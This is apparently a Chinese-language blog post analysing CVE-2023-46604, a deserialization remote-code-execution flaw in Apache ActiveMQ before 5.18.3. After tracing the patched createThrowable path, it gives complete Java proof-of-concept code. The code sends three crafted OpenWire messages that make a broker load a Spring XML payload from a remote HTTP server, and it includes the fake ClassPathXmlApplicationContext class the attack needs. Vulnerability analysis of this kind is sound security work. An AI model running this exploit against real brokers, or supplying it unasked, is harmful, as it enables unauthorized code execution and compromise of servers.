[CVE-2023-46604/CNVD-2023-80853] ActiveMQ < 5.18.3 RCE
补充:好像已经有 CNVD 编号了:CNVD-2023-80853
CVE:CVE-2023-46604
从 Github 上的 commit 记录里,很容易找到那个疑似修补漏洞的 commit:https://github.com/apache/activemq/pull/1098/commits
经过简单的比对,发现新代码对 Throwable
类型进行了验证,保证只有 Throwable
类型的变量到达某个函数。我们直接拉源码看一看:
/// org.apache.activemq.openwire.v12.BaseDataStreamMarshaller#createThrowable
private Throwable createThrowable(String className, String message) {
try {
Class clazz = Class.forName(className, false, BaseDataStreamMarshaller.class.getClassLoader());
Constructor constructor = clazz.getConstructor(new Class[] {String.class});
return (Throwable)constructor.newInstance(new Object[] {message});
} catch (Throwable e) {
return new Throwable(className + ": " + message);
}
}
不难看出,这里直接实例化并执行了某个类的构造函数,但是这个构造函数必须含有一个单 String
类型的参数。我们反向追以下,看看哪里调用了 createThrowable
方法,尝试寻找下入口:
createThrowable
tightUnmarsalThrowable or looseUnmarsalThrowable
in class <MessageAckMarshaller / ExceptionResponseMarshaller / ConnectionErrorMarshaller>
这个调用链并不复杂,利用 IDEA 的 FindUsage
功能,可以轻松的找到入口,是三个消息类型的反序列化函数入口。
中间有两个函数 tightUnmarsalThrowable
和 looseUnmarsalThrowable
,实际功能无差别,取决于 ActiveMQ 的某个设置项决定在实际运行时调用哪个函数进行反序列化。
wireFormat.tightEncodingEnabled
If enabled, optimize for smaller encoding on the wire. This increases CPU usage. It is enabled by default.
原理搞清楚以后,只需要构造对应类型的 Message 并发送就可以了,以 ConnectionError
为例:
/// org.apache.activemq.openwire.v12.ConnectionErrorMarshaller#tightUnmarshal
/**
* Un-marshal an object instance from the data input stream
*
* @param o the object to un-marshal
* @param dataIn the data input stream to build the object from
* @throws IOException
*/
public void tightUnmarshal(OpenWireFormat wireFormat, Object o, DataInput dataIn, BooleanStream bs) throws IOException {
super.tightUnmarshal(wireFormat, o, dataIn, bs);
ConnectionError info = (ConnectionError)o;
info.setException((java.lang.Throwable) tightUnmarsalThrowable(wireFormat, dataIn, bs));
info.setConnectionId((org.apache.activemq.command.ConnectionId) tightUnmarsalNestedObject(wireFormat, dataIn, bs));
}
从代码里不难看出,这里需要设置 ConnectionError
中的 exception
字段,这个字段的内容则是通过 tightUnmarsalThrowable
获取的,那么我们只要构造一个 ConnectionError
消息,并设置好这个消息的 exception
字段,就可以触发了。
var msg = new ConnectionError();
msg.setConnectionId(new ConnectionId());
msg.setException(o);
((ActiveMQConnection) connection).getTransportChannel().oneway(msg);
除了 ConnectionError
外,另外两个也可以使用类似的方法构造。
特别注意的是,构造的时候 ClassPathXmlApplicationContext
需要自己覆写一个 fake class
,需要继承 Throwable
才能正常构造 payload,而服务端在反序列化的时候,并未检查待实例化的类是否继承了 Throwable
,所以进而导致了这个 RCE 漏洞。
package org.example;
import org.apache.activemq.ActiveMQConnection;
import org.apache.activemq.ActiveMQConnectionFactory;
import org.apache.activemq.command.ConnectionError;
import org.apache.activemq.command.ConnectionId;
import org.apache.activemq.command.ExceptionResponse;
import org.apache.activemq.command.MessageAck;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import javax.jms.Connection;
import javax.jms.Session;
public class Main {
public static void main(String[] args) throws Exception {
// String target = args[0];
// String xml = args[1];
String target = "tcp://127.0.0.1:61616";
String xml = "http://127.0.0.1:8000/poc.xml";
System.out.println(target);
System.out.println(xml);
ActiveMQConnectionFactory factory = new ActiveMQConnectionFactory(target);
Connection connection = factory.createConnection();
connection.start();
Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
// POC 1: 使用 ConnectionError 类构造 POC
// MessageProducer producer = session.createProducer(destination);
Throwable o = new ClassPathXmlApplicationContext(xml);
var msg = new ConnectionError();
msg.setConnectionId(new ConnectionId());
msg.setException(o);
((ActiveMQConnection) connection).getTransportChannel().oneway(msg);
// POC2: 使用 MessageAck 构造 POC
var msg2 = new MessageAck();
msg2.setPoisonCause(new ClassPathXmlApplicationContext(xml));
((ActiveMQConnection) connection).getTransportChannel().oneway(msg2);
// POC3: 使用 ExceptionResponse 构造 POC
var msg3 = new ExceptionResponse(new ClassPathXmlApplicationContext(xml));
((ActiveMQConnection) connection).getTransportChannel().oneway(msg3);
connection.close();
}
}
/// file: org/springframework/context/support/ClassPathXmlApplicationContext.java
package org.springframework.context.support;
public class ClassPathXmlApplicationContext extends Throwable{
private String message;
public ClassPathXmlApplicationContext(String message) {
this.message = message;
}
public String getMessage() {
return message;
}
}
沙发沙发
真好呢